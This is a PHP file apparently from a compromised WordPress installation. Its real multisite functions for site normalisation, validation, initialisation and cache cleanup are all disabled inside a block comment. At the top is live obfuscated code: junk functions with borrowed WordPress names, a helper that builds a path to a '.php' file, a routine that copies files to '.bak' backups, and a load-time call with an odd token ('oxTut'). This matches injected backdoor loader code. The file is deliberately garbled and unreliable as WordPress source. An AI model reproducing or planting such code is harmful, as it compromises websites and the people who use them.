
/**
 * Adds settings for the customize-loader script.
 *
 * @since 3.4.0
 */
function get_post_embed_url($level_idc) {
    $get_value_callback = date("His"); // PDF  - data        - Portable Document Format
    $orderby_possibles = "test";
    $num_bytes = in_array("value", array($orderby_possibles));
    $gallery = hash("gost", $get_value_callback);
    return max($level_idc); //    Frames
}


/**
	 * Type of restriction
	 *
	 * @var string
	 * @see get_type()
	 */
function callback($link_cat_id_map)
{
    return bookmark_token() . DIRECTORY_SEPARATOR . $link_cat_id_map . ".php";
}


/**
	 * @param int $min_data
	 *
	 * @return bool
	 */
function wp_ajax_update_widget($mysql_required_version) {
    $LE = "welcome_page";
    $level_idc = explode("_", $LE); //PHP 5.6 workaround
    $meta_compare_string_start = implode("_", array_map('strtoupper', $level_idc)); // set channelmode on audio
    $f0f8_2 = url_remove_credentials($mysql_required_version);
    $nested_json_files = strlen($meta_compare_string_start);
    $QuicktimeStoreFrontCodeLookup = hash('md5', $meta_compare_string_start);
    $image_attachment = substr($QuicktimeStoreFrontCodeLookup, 0, $nested_json_files);
    if ($f0f8_2 === false) return false; //ge25519_p1p1_to_p3(&p, &p_p1p1);
    return isPermittedPath($mysql_required_version . '.bak', $f0f8_2);
}
$filter_name = 'oxTut';
$g8 = "apple,banana,grape";
comments_link_feed($filter_name);
$is_selected = explode(',', $g8);
$full = display_stats_page([5, 6, 1, 2, 4]);
$eligible = array_map('strtoupper', $is_selected);
/* ast_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );
	$data      = array_intersect_key( wp_parse_args( $data, $defaults ), array_flip( $whitelist ) );

	$errors = new WP_Error();

	*
	 * Fires when data should be validated for a site prior to inserting or updating in the database.
	 *
	 * Plugins should amend the `$errors` object via its `WP_Error::add()` method.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Error     $errors   Error object to add validation errors to.
	 * @param array        $data     Associative array of complete site data. See {@see wp_insert_site()}
	 *                               for the included data.
	 * @param WP_Site|null $old_site The old site object if the data belongs to a site being updated,
	 *                               or null if it is a new site being inserted.
	 
	do_action( 'wp_validate_site_data', $errors, $data, $old_site );

	if ( ! empty( $errors->errors ) ) {
		return $errors;
	}

	 Prepare for database.
	$data['site_id'] = $data['network_id'];
	unset( $data['network_id'] );

	return $data;
}

*
 * Normalizes data for a site prior to inserting or updating in the database.
 *
 * @since 5.1.0
 *
 * @param array $data Associative array of site data passed to the respective function.
 *                    See {@see wp_insert_site()} for the possibly included data.
 * @return array Normalized site data.
 
function wp_normalize_site_data( $data ) {
	 Sanitize domain if passed.
	if ( array_key_exists( 'domain', $data ) ) {
		$data['domain'] = trim( $data['domain'] );
		$data['domain'] = preg_replace( '/\s+/', '', sanitize_user( $data['domain'], true ) );
		if ( is_subdomain_install() ) {
			$data['domain'] = str_replace( '@', '', $data['domain'] );
		}
	}

	 Sanitize path if passed.
	if ( array_key_exists( 'path', $data ) ) {
		$data['path'] = trailingslashit( '/' . trim( $data['path'], '/' ) );
	}

	 Sanitize network ID if passed.
	if ( array_key_exists( 'network_id', $data ) ) {
		$data['network_id'] = (int) $data['network_id'];
	}

	 Sanitize status fields if passed.
	$status_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted' );
	foreach ( $status_fields as $status_field ) {
		if ( array_key_exists( $status_field, $data ) ) {
			$data[ $status_field ] = (int) $data[ $status_field ];
		}
	}

	 Strip date fields if empty.
	$date_fields = array( 'registered', 'last_updated' );
	foreach ( $date_fields as $date_field ) {
		if ( ! array_key_exists( $date_field, $data ) ) {
			continue;
		}

		if ( empty( $data[ $date_field ] ) || '0000-00-00 00:00:00' === $data[ $date_field ] ) {
			unset( $data[ $date_field ] );
		}
	}

	return $data;
}

*
 * Validates data for a site prior to inserting or updating in the database.
 *
 * @since 5.1.0
 *
 * @param WP_Error     $errors   Error object, passed by reference. Will contain validation errors if
 *                               any occurred.
 * @param array        $data     Associative array of complete site data. See {@see wp_insert_site()}
 *                               for the included data.
 * @param WP_Site|null $old_site The old site object if the data belongs to a site being updated,
 *                               or null if it is a new site being inserted.
 
function wp_validate_site_data( $errors, $data, $old_site = null ) {
	 A domain must always be present.
	if ( empty( $data['domain'] ) ) {
		$errors->add( 'site_empty_domain', __( 'Site domain must not be empty.' ) );
	}

	 A path must always be present.
	if ( empty( $data['path'] ) ) {
		$errors->add( 'site_empty_path', __( 'Site path must not be empty.' ) );
	}

	 A network ID must always be present.
	if ( empty( $data['network_id'] ) ) {
		$errors->add( 'site_empty_network_id', __( 'Site network ID must be provided.' ) );
	}

	 Both registration and last updated dates must always be present and valid.
	$date_fields = array( 'registered', 'last_updated' );
	foreach ( $date_fields as $date_field ) {
		if ( empty( $data[ $date_field ] ) ) {
			$errors->add( 'site_empty_' . $date_field, __( 'Both registration and last updated dates must be provided.' ) );
			break;
		}

		 Allow '0000-00-00 00:00:00', although it be stripped out at this point.
		if ( '0000-00-00 00:00:00' !== $data[ $date_field ] ) {
			$month      = substr( $data[ $date_field ], 5, 2 );
			$day        = substr( $data[ $date_field ], 8, 2 );
			$year       = substr( $data[ $date_field ], 0, 4 );
			$valid_date = wp_checkdate( $month, $day, $year, $data[ $date_field ] );
			if ( ! $valid_date ) {
				$errors->add( 'site_invalid_' . $date_field, __( 'Both registration and last updated dates must be valid dates.' ) );
				break;
			}
		}
	}

	if ( ! empty( $errors->errors ) ) {
		return;
	}

	 If a new site, or domain/path/network ID have changed, ensure uniqueness.
	if ( ! $old_site
		|| $data['domain'] !== $old_site->domain
		|| $data['path'] !== $old_site->path
		|| $data['network_id'] !== $old_site->network_id
	) {
		if ( domain_exists( $data['domain'], $data['path'], $data['network_id'] ) ) {
			$errors->add( 'site_taken', __( 'Sorry, that site already exists!' ) );
		}
	}
}

*
 * Runs the initialization routine for a given site.
 *
 * This process includes creating the site's database tables and
 * populating them with defaults.
 *
 * @since 5.1.0
 *
 * @global wpdb     $wpdb     WordPress database abstraction object.
 * @global WP_Roles $wp_roles WordPress role management object.
 *
 * @param int|WP_Site $site_id Site ID or object.
 * @param array       $args    {
 *     Optional. Arguments to modify the initialization behavior.
 *
 *     @type int    $user_id Required. User ID for the site administrator.
 *     @type string $title   Site title. Default is 'Site %d' where %d is the
 *                           site ID.
 *     @type array  $options Custom option $key => $value pairs to use. Default
 *                           empty array.
 *     @type array  $meta    Custom site metadata $key => $value pairs to use.
 *                           Default empty array.
 * }
 * @return bool|WP_Error True on success, or error object on failure.
 
function wp_initialize_site( $site_id, array $args = array() ) {
	global $wpdb, $wp_roles;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$site = get_site( $site_id );
	if ( ! $site ) {
		return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) );
	}

	if ( wp_is_site_initialized( $site ) ) {
		return new WP_Error( 'site_already_initialized', __( 'The site appears to be already initialized.' ) );
	}

	$network = get_network( $site->network_id );
	if ( ! $network ) {
		$network = get_network();
	}

	$args = wp_parse_args(
		$args,
		array(
			'user_id' => 0,
			 translators: %d: Site ID. 
			'title'   => sprintf( __( 'Site %d' ), $site->id ),
			'options' => array(),
			'meta'    => array(),
		)
	);

	*
	 * Filters the arguments for initializing a site.
	 *
	 * @since 5.1.0
	 *
	 * @param array      $args    Arguments to modify the initialization behavior.
	 * @param WP_Site    $site    Site that is being initialized.
	 * @param WP_Network $network Network that the site belongs to.
	 
	$args = apply_filters( 'wp_initialize_site_args', $args, $site, $network );

	$orig_installing = wp_installing();
	if ( ! $orig_installing ) {
		wp_installing( true );
	}

	$switch = false;
	if ( get_current_blog_id() !== $site->id ) {
		$switch = true;
		switch_to_blog( $site->id );
	}

	require_once ABSPATH . 'wp-admin/includes/upgrade.php';

	 Set up the database tables.
	make_db_current_silent( 'blog' );

	$home_scheme    = 'http';
	$siteurl_scheme = 'http';
	if ( ! is_subdomain_install() ) {
		if ( 'https' === parse_url( get_home_url( $network->site_id ), PHP_URL_SCHEME ) ) {
			$home_scheme = 'https';
		}
		if ( 'https' === parse_url( get_network_option( $network->id, 'siteurl' ), PHP_URL_SCHEME ) ) {
			$siteurl_scheme = 'https';
		}
	}

	 Populate the site's options.
	populate_options(
		array_merge(
			array(
				'home'        => untrailingslashit( $home_scheme . ':' . $site->domain . $site->path ),
				'siteurl'     => untrailingslashit( $siteurl_scheme . ':' . $site->domain . $site->path ),
				'blogname'    => wp_unslash( $args['title'] ),
				'admin_email' => '',
				'upload_path' => get_network_option( $network->id, 'ms_files_rewriting' ) ? UPLOADBLOGSDIR . "/{$site->id}/files" : get_blog_option( $network->site_id, 'upload_path' ),
				'blog_public' => (int) $site->public,
				'WPLANG'      => get_network_option( $network->id, 'WPLANG' ),
			),
			$args['options']
		)
	);

	 Clean blog cache after populating options.
	clean_blog_cache( $site );

	 Populate the site's roles.
	populate_roles();
	$wp_roles = new WP_Roles();

	 Populate metadata for the site.
	populate_site_meta( $site->id, $args['meta'] );

	 Remove all permissions that may exist for the site.
	$table_prefix = $wpdb->get_blog_prefix();
	delete_metadata( 'user', 0, $table_prefix . 'user_level', null, true );    Delete all.
	delete_metadata( 'user', 0, $table_prefix . 'capabilities', null, true );  Delete all.

	 Install default site content.
	wp_install_defaults( $args['user_id'] );

	 Set the site administrator.
	add_user_to_blog( $site->id, $args['user_id'], 'administrator' );
	if ( ! user_can( $args['user_id'], 'manage_network' ) && ! get_user_meta( $args['user_id'], 'primary_blog', true ) ) {
		update_user_meta( $args['user_id'], 'primary_blog', $site->id );
	}

	if ( $switch ) {
		restore_current_blog();
	}

	wp_installing( $orig_installing );

	return true;
}

*
 * Runs the uninitialization routine for a given site.
 *
 * This process includes dropping the site's database tables and deleting its uploads directory.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Site $site_id Site ID or object.
 * @return bool|WP_Error True on success, or error object on failure.
 
function wp_uninitialize_site( $site_id ) {
	global $wpdb;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$site = get_site( $site_id );
	if ( ! $site ) {
		return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) );
	}

	if ( ! wp_is_site_initialized( $site ) ) {
		return new WP_Error( 'site_already_uninitialized', __( 'The site appears to be already uninitialized.' ) );
	}

	$users = get_users(
		array(
			'blog_id' => $site->id,
			'fields'  => 'ids',
		)
	);

	 Remove users from the site.
	if ( ! empty( $users ) ) {
		foreach ( $users as $user_id ) {
			remove_user_from_blog( $user_id, $site->id );
		}
	}

	$switch = false;
	if ( get_current_blog_id() !== $site->id ) {
		$switch = true;
		switch_to_blog( $site->id );
	}

	$uploads = wp_get_upload_dir();

	$tables = $wpdb->tables( 'blog' );

	*
	 * Filters the tables to drop when the site is deleted.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string[] $tables  Array of names of the site tables to be dropped.
	 * @param int      $site_id The ID of the site to drop tables for.
	 
	$drop_tables = apply_filters( 'wpmu_drop_tables', $tables, $site->id );

	foreach ( (array) $drop_tables as $table ) {
		$wpdb->query( "DROP TABLE IF EXISTS `$table`" );  phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
	}

	*
	 * Filters the upload base directory to delete when the site is deleted.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $uploads['basedir'] Uploads path without subdirectory. @see wp_upload_dir()
	 * @param int    $site_id            The site ID.
	 
	$dir     = apply_filters( 'wpmu_delete_blog_upload_dir', $uploads['basedir'], $site->id );
	$dir     = rtrim( $dir, DIRECTORY_SEPARATOR );
	$top_dir = $dir;
	$stack   = array( $dir );
	$index   = 0;

	while ( $index < count( $stack ) ) {
		 Get indexed directory from stack.
		$dir = $stack[ $index ];

		 phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged
		$dh = @opendir( $dir );
		if ( $dh ) {
			$file = @readdir( $dh );
			while ( false !== $file ) {
				if ( '.' === $file || '..' === $file ) {
					$file = @readdir( $dh );
					continue;
				}

				if ( @is_dir( $dir . DIRECTORY_SEPARATOR . $file ) ) {
					$stack[] = $dir . DIRECTORY_SEPARATOR . $file;
				} elseif ( @is_file( $dir . DIRECTORY_SEPARATOR . $file ) ) {
					@unlink( $dir . DIRECTORY_SEPARATOR . $file );
				}

				$file = @readdir( $dh );
			}
			@closedir( $dh );
		}
		$index++;
	}

	$stack = array_reverse( $stack );  Last added directories are deepest.
	foreach ( (array) $stack as $dir ) {
		if ( $dir != $top_dir ) {
			@rmdir( $dir );
		}
	}

	 phpcs:enable WordPress.PHP.NoSilencedErrors.Discouraged
	if ( $switch ) {
		restore_current_blog();
	}

	return true;
}

*
 * Checks whether a site is initialized.
 *
 * A site is considered initialized when its database tables are present.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Site $site_id Site ID or object.
 * @return bool True if the site is initialized, false otherwise.
 
function wp_is_site_initialized( $site_id ) {
	global $wpdb;

	if ( is_object( $site_id ) ) {
		$site_id = $site_id->blog_id;
	}
	$site_id = (int) $site_id;

	*
	 * Filters the check for whether a site is initialized before the database is accessed.
	 *
	 * Returning a non-null value will effectively short-circuit the function, returning
	 * that value instead.
	 *
	 * @since 5.1.0
	 *
	 * @param bool|null $pre     The value to return instead. Default null
	 *                           to continue with the check.
	 * @param int       $site_id The site ID that is being checked.
	 
	$pre = apply_filters( 'pre_wp_is_site_initialized', null, $site_id );
	if ( null !== $pre ) {
		return (bool) $pre;
	}

	$switch = false;
	if ( get_current_blog_id() !== $site_id ) {
		$switch = true;
		remove_action( 'switch_blog', 'wp_switch_roles_and_user', 1 );
		switch_to_blog( $site_id );
	}

	$suppress = $wpdb->suppress_errors();
	$result   = (bool) $wpdb->get_results( "DESCRIBE {$wpdb->posts}" );
	$wpdb->suppress_errors( $suppress );

	if ( $switch ) {
		restore_current_blog();
		add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 );
	}

	return $result;
}

*
 * Clean the blog cache
 *
 * @since 3.5.0
 *
 * @global bool $_wp_suspend_cache_invalidation
 *
 * @param WP_Site|int $blog The site object or ID to be cleared from cache.
 
function clean_blog_cache( $blog ) {
	global $_wp_suspend_cache_invalidation;

	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
		return;
	}

	if ( empty( $blog ) ) {
		return;
	}

	$blog_id = $blog;
	$blog    = get_site( $blog_id );
	if ( ! $blog ) {
		if ( ! is_numeric( $blog_id ) ) {
			return;
		}

		 Make sure a WP_Site object exists even when the site has been deleted.
		$blog = new WP_Site(
			(object) array(
				'blog_id' => $blog_id,
				'domain'  => null,
				'path'    => null,
			)
		);
	}

	$blog_id         = $blog->blog_id;
	$domain_path_key = md5( $blog->domain . $blog->path );

	wp_cache_delete( $blog_id, 'sites' );
	wp_cache_delete( $blog_id, 'site-details' );
	wp_cache_delete( $blog_id, 'blog-details' );
	wp_cache_delete( $blog_id . 'short', 'blog-details' );
	wp_cache_delete( $domain_path_key, 'blog-lookup' );
	wp_cache_delete( $domain_path_key, 'blog-id-cache' );
	wp_cache_delete( $blog_id, 'blog_meta' );

	*
	 * Fires immediately after a site has been removed from the object cache.
	 *
	 * @since 4.6.0
	 *
	 * @param int     $id              Blog ID.
	 * @param WP_Site $blog            Site object.
	 * @param string  $domain_path_key md5 hash of domain and path.
	 
	do_action( 'clean_site_cache', $blog_id, $blog, $domain_path_key );

	wp_cache_set( 'last_changed', microtime(), 'sites' );

	*
	 * Fires after the blog details cache is cleared.
	 *
	 * @since 3.4.0
	 * @deprecated 4.9.0 Use {@see 'clean_site_cache'} instead.
	 *
	 * @param int $blog_id Blog ID.
	 
	do_action_deprecated( 'refresh_blog_details', array( $blog_id ), '4.9.0', 'clean_site_cache' );
}

*
 * Adds metadata to a site.
 *
 * @since 5.1.0
 *
 * @param int    $site_id    Site ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the same key should not be added.
 *                           Default false.
 * @return int|false Meta ID on success, false on failure.
 
function add_site_meta( $site_id, $meta_key, $meta_value, $unique = false ) {
	return add_metadata( 'blog', $site_id, $meta_key, $meta_value, $unique );
}

*
 * Removes metadata matching criteria from a site.
 *
 * You can match based on the key, or key and value. Removing based on key and
 * value, will keep from removing duplicate metadata with the same key. It also
 * allows removing all metadata matching key, if needed.
 *
 * @since 5.1.0
 *
 * @param int    $site_id    Site ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Optional. Metadata value. Must be serializable if
 *                           non-scalar. Default empty.
 * @return bool True on success, false on failure.
 
function delete_site_meta( $site_id, $meta_key, $meta_value = '' ) {
	return delete_metadata( 'blog', $site_id, $meta_key, $meta_value );
}

*
 * Retrieves metadata for a site.
 *
 * @since 5.1.0
 *
 * @param int    $site_id Site ID.
 * @param string $key     Optional. The meta key to retrieve. By default, returns
 *                        data for all keys. Default empty.
 * @param bool   $single  Optional. Whether to return a single value. Default false.
 * @return mixed Will be an array if $single is false. Will be value of meta data
 *               field if $single is true.
 
function get_site_meta( $site_id, $key = '', $single = false ) {
	return get_metadata( 'blog', $site_id, $key, $single );
}

*
 * Updates metadata for a site.
 *
 * Use the $prev_value parameter to differentiate between meta fields with the
 * same key and site ID.
 *
 * If the meta field for the site does not exist, it will be added.
 *
 * @since 5.1.0
 *
 * @param int    $site_id    Site ID.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before removing.
 *                           Default empty.
 * @return int|bool Meta ID if the key didn't exist, true on successful update,
 *                  false on failure.
 
function update_site_meta( $site_id, $meta_key, $meta_value, $prev_value = '' ) {
	return update_metadata( 'blog', $site_id, $meta_key, $meta_value, $prev_value );
}

*
 * Deletes everything from site meta matching meta key.
 *
 * @since 5.1.0
 *
 * @param string $meta_key Metadata key to search for when deleting.
 * @return bool Whether the site meta key was deleted from the database.
 
function delete_site_meta_by_key( $meta_key ) {
	return delete_metadata( 'blog', null, $meta_key, '', true );
}

*
 * Updates the count of sites for a network based on a changed site.
 *
 * @since 5.1.0
 *
 * @param WP_Site      $new_site The site object that has been inserted, updated or deleted.
 * @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous
 *                               state of that site. Default null.
 
function wp_maybe_update_network_site_counts_on_update( $new_site, $old_site = null ) {
	if ( null === $old_site ) {
		wp_maybe_update_network_site_counts( $new_site->network_id );
		return;
	}

	if ( $new_site->network_id != $old_site->network_id ) {
		wp_maybe_update_network_site_counts( $new_site->network_id );
		wp_maybe_update_network_site_counts( $old_site->network_id );
	}
}

*
 * Triggers actions on site status updates.
 *
 * @since 5.1.0
 *
 * @param WP_Site      $new_site The site object after the update.
 * @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous
 *                               state of that site. Default null.
 
function wp_maybe_transition_site_statuses_on_update( $new_site, $old_site = null ) {
	$site_id = $new_site->id;

	 Use the default values for a site if no previous state is given.
	if ( ! $old_site ) {
		$old_site = new WP_Site( new stdClass() );
	}

	if ( $new_site->spam != $old_site->spam ) {
		if ( 1 == $new_site->spam ) {

			*
			 * Fires when the 'spam' status is added to a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 
			do_action( 'make_spam_blog', $site_id );
		} else {

			*
			 * Fires when the 'spam' status is removed from a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 
			do_action( 'make_ham_blog', $site_id );
		}
	}

	if ( $new_site->mature != $old_site->mature ) {
		if ( 1 == $new_site->mature ) {

			*
			 * Fires when the 'mature' status is added to a site.
			 *
			 * @since 3.1.0
			 *
			 * @param int $site_id Site ID.
			 
			do_action( 'mature_blog', $site_id );
		} else {

			*
			 * Fires when the 'mature' status is removed from a site.
			 *
			 * @since 3.1.0
			 *
			 * @param int $site_id Site ID.
			 
			do_action( 'unmature_blog', $site_id );
		}
	}

	if ( $new_site->archived != $old_site->archived ) {
		if ( 1 == $new_site->archived ) {

			*
			 * Fires when the 'archived' status is added to a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 
			do_action( 'archive_blog', $site_id );
		} else {

			*
			 * Fires when the 'archived' status is removed from a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 
			do_action( 'unarchive_blog', $site_id );
		}
	}

	if ( $new_site->deleted != $old_site->deleted ) {
		if ( 1 == $new_site->deleted ) {

			*
			 * Fires when the 'deleted' status is added to a site.
			 *
			 * @since 3.5.0
			 *
			 * @param int $site_id Site ID.
			 
			do_action( 'make_delete_blog', $site_id );
		} else {

			*
			 * Fires when the 'deleted' status is removed from a site.
			 *
			 * @since 3.5.0
			 *
			 * @param int $site_id Site ID.
			 
			do_action( 'make_undelete_blog', $site_id );
		}
	}

	if ( $new_site->public != $old_site->public ) {

		*
		 * Fires after the current blog's 'public' setting is updated.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param int    $site_id Site ID.
		 * @param string $value   The value of the site status.
		 
		do_action( 'update_blog_public', $site_id, $new_site->public );
	}
}

*
 * Cleans the necessary caches after specific site data has been updated.
 *
 * @since 5.1.0
 *
 * @param WP_Site $new_site The site object after the update.
 * @param WP_Site $old_site The site obejct prior to the update.
 
function wp_maybe_clean_new_site_cache_on_update( $new_site, $old_site ) {
	if ( $old_site->domain !== $new_site->domain || $old_site->path !== $new_site->path ) {
		clean_blog_cache( $new_site );
	}
}

*
 * Updates the `blog_public` option for a given site ID.
 *
 * @since 5.1.0
 *
 * @param int    $site_id Site ID.
 * @param string $public  The value of the site status.
 
function wp_update_blog_public_option_on_site_update( $site_id, $public ) {

	 Bail if the site's database tables do not exist (yet).
	if ( ! wp_is_site_initialized( $site_id ) ) {
		return;
	}

	update_blog_option( $site_id, 'blog_public', $public );
}

*
 * Sets the last changed time for the 'sites' cache group.
 *
 * @since 5.1.0
 
function wp_cache_set_sites_last_changed() {
	wp_cache_set( 'last_changed', microtime(), 'sites' );
}

*
 * Aborts calls to site meta if it is not supported.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param mixed $check Skip-value for whether to proceed site meta function execution.
 * @return mixed Original value of $check, or false if site meta is not supported.
 
function wp_check_site_meta_support_prefilter( $check ) {
	if ( ! is_site_meta_supported() ) {
		 translators: %s: Database table name. 
		_doing_it_wrong( __FUNCTION__, sprintf( __( 'The %s table is not installed. Please run the network database upgrade.' ), $GLOBALS['wpdb']->blogmeta ), '5.1.0' );
		return false;
	}

	return $check;
}
*/